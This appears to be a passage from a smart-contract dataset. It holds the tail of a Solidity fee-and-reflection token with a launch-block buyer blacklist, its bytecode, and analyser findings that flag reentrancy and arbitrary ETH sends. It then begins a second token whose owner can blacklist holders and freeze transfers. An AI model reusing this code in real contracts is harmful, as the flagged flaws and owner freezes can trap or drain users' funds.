_burnFee = 41; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0xA6259eb0c626bb755C03f8C77eb592cB54Ef0Ac1); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2e9 * 10**9; uint256 public _maxWalletSize = 2e9 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function createPair() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { require(amountBuy >= 0 && amountBuy <= 13); require(amountSell >= 0 && amountSell <= 13); _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { require(amountRefBuy >= 0 && amountRefBuy <= 1); require(amountRefSell >= 0 && amountRefSell <= 1); _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } }
0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb146105a0578063c5528490146105c0578063dd62ed3e146105e0578063ea1644d514610626578063f2fde38b1461064657600080fd5b80638da5cb5b1461052b5780638f9a55c01461054957806395d89b411461055f5780639e78fb4f1461058b57600080fd5b8063790ca413116100dc578063790ca413146104ca5780637c519ffb146104e05780637d1db4a5146104f5578063881dce601461050b57600080fd5b80636fc3eaec1461046057806370a0823114610475578063715018a61461049557806374010ece146104aa57600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103e05780634bf2c7c9146104005780635d098b38146104205780636d8aa8f81461044057600080fd5b80632fd689e31461036e578063313ce5671461038457806333251a0b146103a057806338eea22d146103c057600080fd5b806318160ddd116101c157806318160ddd146102f057806323b872dd1461031657806327c8f8351461033657806328bb665a1461034c57600080fd5b806306fdde03146101fe578063095ea7b31461024f5780630f3a325f1461027f5780631694505e146102b857600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201909152601681527521bab63a1022b637b71027b933b0b734b9b0ba34b7b760511b60208201525b6040516102469190611f8c565b60405180910390f35b34801561025b57600080fd5b5061026f61026a366004611e37565b610666565b6040519015158152602001610246565b34801561028b57600080fd5b5061026f61029a366004611d83565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102c457600080fd5b506016546102d8906001600160a01b031681565b6040516001600160a01b039091168152602001610246565b3480156102fc57600080fd5b5068056bc75e2d631000005b604051908152602001610246565b34801561032257600080fd5b5061026f610331366004611df6565b61067d565b34801561034257600080fd5b506102d861dead81565b34801561035857600080fd5b5061036c610367366004611e63565b6106e6565b005b34801561037a57600080fd5b50610308601a5481565b34801561039057600080fd5b5060405160098152602001610246565b3480156103ac57600080fd5b5061036c6103bb366004611d83565b610785565b3480156103cc57600080fd5b5061036c6103db366004611f6a565b6107f4565b3480156103ec57600080fd5b506017546102d8906001600160a01b031681565b34801561040c57600080fd5b5061036c61041b366004611f51565b610845565b34801561042c57600080fd5b5061036c61043b366004611d83565b610874565b34801561044c57600080fd5b5061036c61045b366004611f2f565b6108ce565b34801561046c57600080fd5b5061036c610916565b34801561048157600080fd5b50610308610490366004611d83565b610940565b3480156104a157600080fd5b5061036c610962565b3480156104b657600080fd5b5061036c6104c5366004611f51565b6109d6565b3480156104d657600080fd5b50610308600a5481565b3480156104ec57600080fd5b5061036c610a05565b34801561050157600080fd5b5061030860185481565b34801561051757600080fd5b5061036c610526366004611f51565b610a5f565b34801561053757600080fd5b506000546001600160a01b03166102d8565b34801561055557600080fd5b5061030860195481565b34801561056b57600080fd5b5060408051808201909152600381526243454f60e81b6020820152610239565b34801561059757600080fd5b5061036c610adb565b3480156105ac57600080fd5b5061026f6105bb366004611e37565b610cc0565b3480156105cc57600080fd5b5061036c6105db366004611f6a565b610ccd565b3480156105ec57600080fd5b506103086105fb366004611dbd565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561063257600080fd5b5061036c610641366004611f51565b610d1e565b34801561065257600080fd5b5061036c610661366004611d83565b610d5c565b6000610673338484610e46565b5060015b92915050565b600061068a848484610f6a565b6106dc84336106d785604051806060016040528060288152602001612191602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611616565b610e46565b5060019392505050565b6000546001600160a01b031633146107195760405162461bcd60e51b815260040161071090611fe1565b60405180910390fd5b60005b81518110156107815760016009600084848151811061073d5761073d61214f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107798161211e565b91505061071c565b5050565b6000546001600160a01b031633146107af5760405162461bcd60e51b815260040161071090611fe1565b6001600160a01b03811660009081526009602052604090205460ff16156107f1576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b0316331461081e5760405162461bcd60e51b815260040161071090611fe1565b600182111561082c57600080fd5b600181111561083a57600080fd5b600b91909155600d55565b6000546001600160a01b0316331461086f5760405162461bcd60e51b815260040161071090611fe1565b601155565b6015546001600160a01b0316336001600160a01b03161461089457600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108f85760405162461bcd60e51b815260040161071090611fe1565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461093657600080fd5b476107f181611650565b6001600160a01b0381166000908152600260205260408120546106779061168a565b6000546001600160a01b0316331461098c5760405162461bcd60e51b815260040161071090611fe1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a005760405162461bcd60e51b815260040161071090611fe1565b601855565b6000546001600160a01b03163314610a2f5760405162461bcd60e51b815260040161071090611fe1565b601754600160a01b900460ff1615610a4657600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a7f57600080fd5b610a8830610940565b8111158015610a975750600081115b610ad25760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610710565b6107f18161170e565b6000546001600160a01b03163314610b055760405162461bcd60e51b815260040161071090611fe1565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610b6557600080fd5b505afa158015610b79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9d9190611da0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610be557600080fd5b505afa158015610bf9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1d9190611da0565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c6557600080fd5b505af1158015610c79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9d9190611da0565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6000610673338484610f6a565b6000546001600160a01b03163314610cf75760405162461bcd60e51b815260040161071090611fe1565b600d821115610d0557600080fd5b600d811115610d1357600080fd5b600c91909155600e55565b6000546001600160a01b03163314610d485760405162461bcd60e51b815260040161071090611fe1565b601954811015610d5757600080fd5b601955565b6000546001600160a01b03163314610d865760405162461bcd60e51b815260040161071090611fe1565b6001600160a01b038116610deb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610710565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ea85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610710565b6001600160a01b038216610f095760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610710565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fce5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610710565b6001600160a01b0382166110305760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610710565b600081116110925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610710565b6001600160a01b03821660009081526009602052604090205460ff16156110cb5760405162461bcd60e51b815260040161071090612016565b6001600160a01b03831660009081526009602052604090205460ff16156111045760405162461bcd60e51b815260040161071090612016565b3360009081526009602052604090205460ff16156111345760405162461bcd60e51b815260040161071090612016565b6000546001600160a01b0384811691161480159061116057506000546001600160a01b03838116911614155b156114c057601754600160a01b900460ff166111be5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610710565b6017546001600160a01b0383811691161480156111e957506016546001600160a01b03848116911614155b1561129b576001600160a01b038216301480159061121057506001600160a01b0383163014155b801561122a57506015546001600160a01b03838116911614155b801561124457506015546001600160a01b03848116911614155b1561129b5760185481111561129b5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610710565b6017546001600160a01b038381169116148015906112c757506015546001600160a01b03838116911614155b80156112dc57506001600160a01b0382163014155b80156112f357506001600160a01b03821661dead14155b156113ba5760185481111561134a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610710565b6019548161135784610940565b61136191906120ae565b106113ba5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610710565b60006113c530610940565b601a5490915081118080156113e45750601754600160a81b900460ff16155b80156113fe57506017546001600160a01b03868116911614155b80156114135750601754600160b01b900460ff165b801561143857506001600160a01b03851660009081526006602052604090205460ff16155b801561145d57506001600160a01b03841660009081526006602052604090205460ff16155b156114bd57601154600090156114985761148d60646114876011548661189790919063ffffffff16565b90611916565b905061149881611958565b6114aa6114a58285612107565b61170e565b4780156114ba576114ba47611650565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061150257506001600160a01b03831660009081526006602052604090205460ff165b8061153457506017546001600160a01b0385811691161480159061153457506017546001600160a01b03848116911614155b1561154157506000611604565b6017546001600160a01b03858116911614801561156c57506016546001600160a01b03848116911614155b156115c7576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a5414156115c7576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b0384811691161480156115f257506016546001600160a01b03858116911614155b1561160457600d54600f55600e546010555b61161084848484611965565b50505050565b6000818484111561163a5760405162461bcd60e51b81526004016107109190611f8c565b5060006116478486612107565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610781573d6000803e3d6000fd5b60006007548211156116f15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610710565b60006116fb611999565b90506117078382611916565b9392505050565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106117565761175661214f565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156117aa57600080fd5b505afa1580156117be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117e29190611da0565b816001815181106117f5576117f561214f565b6001600160a01b03928316602091820292909201015260165461181b9130911684610e46565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061185490859060009086903090429060040161203d565b600060405180830381600087803b15801561186e57600080fd5b505af1158015611882573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6000826118a657506000610677565b60006118b283856120e8565b9050826118bf85836120c6565b146117075760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610710565b600061170783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119bc565b6107f13061dead83610f6a565b80611972576119726119ea565b61197d848484611a2f565b8061161057611610601254600f55601354601055601454601155565b60008060006119a6611b26565b90925090506119b58282611916565b9250505090565b600081836119dd5760405162461bcd60e51b81526004016107109190611f8c565b50600061164784866120c6565b600f541580156119fa5750601054155b8015611a065750601154155b15611a0d57565b600f805460125560108054601355601180546014556000928390559082905555565b600080600080600080611a4187611b68565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a739087611bc5565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611aa29086611c07565b6001600160a01b038916600090815260026020526040902055611ac481611c66565b611ace8483611cb0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b1391815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d63100000611b428282611916565b821015611b5f5750506007549268056bc75e2d6310000092509050565b90939092509050565b6000806000806000806000806000611b858a600f54601054611cd4565b9250925092506000611b95611999565b90506000806000611ba88e878787611d23565b919e509c509a509598509396509194505050505091939550919395565b600061170783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611616565b600080611c1483856120ae565b9050838110156117075760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610710565b6000611c70611999565b90506000611c7e8383611897565b30600090815260026020526040902054909150611c9b9082611c07565b30600090815260026020526040902055505050565b600754611cbd9083611bc5565b600755600854611ccd9082611c07565b6008555050565b6000808080611ce860646114878989611897565b90506000611cfb60646114878a89611897565b90506000611d1382611d0d8b86611bc5565b90611bc5565b9992985090965090945050505050565b6000808080611d328886611897565b90506000611d408887611897565b90506000611d4e8888611897565b90506000611d6082611d0d8686611bc5565b939b939a50919850919650505050505050565b8035611d7e8161217b565b919050565b600060208284031215611d9557600080fd5b81356117078161217b565b600060208284031215611db257600080fd5b81516117078161217b565b60008060408385031215611dd057600080fd5b8235611ddb8161217b565b91506020830135611deb8161217b565b809150509250929050565b600080600060608486031215611e0b57600080fd5b8335611e168161217b565b92506020840135611e268161217b565b929592945050506040919091013590565b60008060408385031215611e4a57600080fd5b8235611e558161217b565b946020939093013593505050565b60006020808385031215611e7657600080fd5b823567ffffffffffffffff80821115611e8e57600080fd5b818501915085601f830112611ea257600080fd5b813581811115611eb457611eb4612165565b8060051b604051601f19603f83011681018181108582111715611ed957611ed9612165565b604052828152858101935084860182860187018a1015611ef857600080fd5b600095505b83861015611f2257611f0e81611d73565b855260019590950194938601938601611efd565b5098975050505050505050565b600060208284031215611f4157600080fd5b8135801515811461170757600080fd5b600060208284031215611f6357600080fd5b5035919050565b60008060408385031215611f7d57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611fb957858101830151858201604001528201611f9d565b81811115611fcb576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561208d5784516001600160a01b031683529383019391830191600101612068565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156120c1576120c1612139565b500190565b6000826120e357634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561210257612102612139565b500290565b60008282101561211957612119612139565b500390565b600060001982141561213257612132612139565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122015aec69d3944885a6643d5f15e5b40933ef499ba8b56d9b86d6bd6e1a647d6cf64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,871
0xf973dfe8010cfd44070b1990841da192c7b3ced9
pragma solidity 0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; //event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ //function renounceOwnership() public onlyOwner { // emit OwnershipRenounced(owner); // owner = address(0); //} } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; mapping(address => uint256) bonusTokens; mapping(address => uint256) bonusReleaseTime; mapping(address => bool) internal blacklist; bool public isTokenReleased = false; address addressSaleContract; event BlacklistUpdated(address badUserAddress, bool registerStatus); event TokenReleased(address tokenOwnerAddress, bool tokenStatus); uint256 totalSupply_; modifier onlyBonusSetter() { require(msg.sender == owner || msg.sender == addressSaleContract); _; } /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(isTokenReleased); require(!blacklist[_to]); require(!blacklist[msg.sender]); if (bonusReleaseTime[msg.sender] > block.timestamp) { require(_value <= balances[msg.sender].sub(bonusTokens[msg.sender])); } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { require(msg.sender == owner || !blacklist[_owner]); require(!blacklist[msg.sender]); return balances[_owner]; } /** * @dev Set the specified address to blacklist. * @param _badUserAddress The address of bad user. */ function registerToBlacklist(address _badUserAddress) onlyOwner public { if (blacklist[_badUserAddress] != true) { blacklist[_badUserAddress] = true; } emit BlacklistUpdated(_badUserAddress, blacklist[_badUserAddress]); } /** * @dev Remove the specified address from blacklist. * @param _badUserAddress The address of bad user. */ function unregisterFromBlacklist(address _badUserAddress) onlyOwner public { if (blacklist[_badUserAddress] == true) { blacklist[_badUserAddress] = false; } emit BlacklistUpdated(_badUserAddress, blacklist[_badUserAddress]); } /** * @dev Check the address registered in blacklist. * @param _address The address to check. * @return a bool representing registration of the passed address. */ function checkBlacklist (address _address) onlyOwner public view returns (bool) { return blacklist[_address]; } /** * @dev Release the token (enable all token functions). */ function releaseToken() onlyOwner public { if (isTokenReleased == false) { isTokenReleased = true; } emit TokenReleased(msg.sender, isTokenReleased); } /** * @dev Withhold the token (disable all token functions). */ function withholdToken() onlyOwner public { if (isTokenReleased == true) { isTokenReleased = false; } emit TokenReleased(msg.sender, isTokenReleased); } /** * @dev Set bonus token amount and bonus token release time for the specified address. * @param _tokenHolder The address of bonus token holder * _bonusTokens The bonus token amount * _holdingPeriodInDays Bonus token holding period (in days) */ function setBonusTokenInDays(address _tokenHolder, uint256 _bonusTokens, uint256 _holdingPeriodInDays) onlyBonusSetter public { bonusTokens[_tokenHolder] = _bonusTokens; bonusReleaseTime[_tokenHolder] = SafeMath.add(block.timestamp, _holdingPeriodInDays * 1 days); } /** * @dev Set bonus token amount and bonus token release time for the specified address. * @param _tokenHolder The address of bonus token holder * _bonusTokens The bonus token amount * _bonusReleaseTime Bonus token release time */ function setBonusToken(address _tokenHolder, uint256 _bonusTokens, uint256 _bonusReleaseTime) onlyBonusSetter public { bonusTokens[_tokenHolder] = _bonusTokens; bonusReleaseTime[_tokenHolder] = _bonusReleaseTime; } /** * @dev Set bonus token amount and bonus token release time for the specified address. * @param _tokenHolders The address of bonus token holder [ ] * _bonusTokens The bonus token amount [ ] * _bonusReleaseTime Bonus token release time */ function setMultiBonusTokens(address[] _tokenHolders, uint256[] _bonusTokens, uint256 _bonusReleaseTime) onlyBonusSetter public { for (uint i = 0; i < _tokenHolders.length; i++) { bonusTokens[_tokenHolders[i]] = _bonusTokens[i]; bonusReleaseTime[_tokenHolders[i]] = _bonusReleaseTime; } } /** * @dev Set the address of the crowd sale contract which can call setBonusToken method. * @param _addressSaleContract The address of the crowd sale contract. */ function setBonusSetter(address _addressSaleContract) onlyOwner public { addressSaleContract = _addressSaleContract; } function getBonusSetter() public view returns 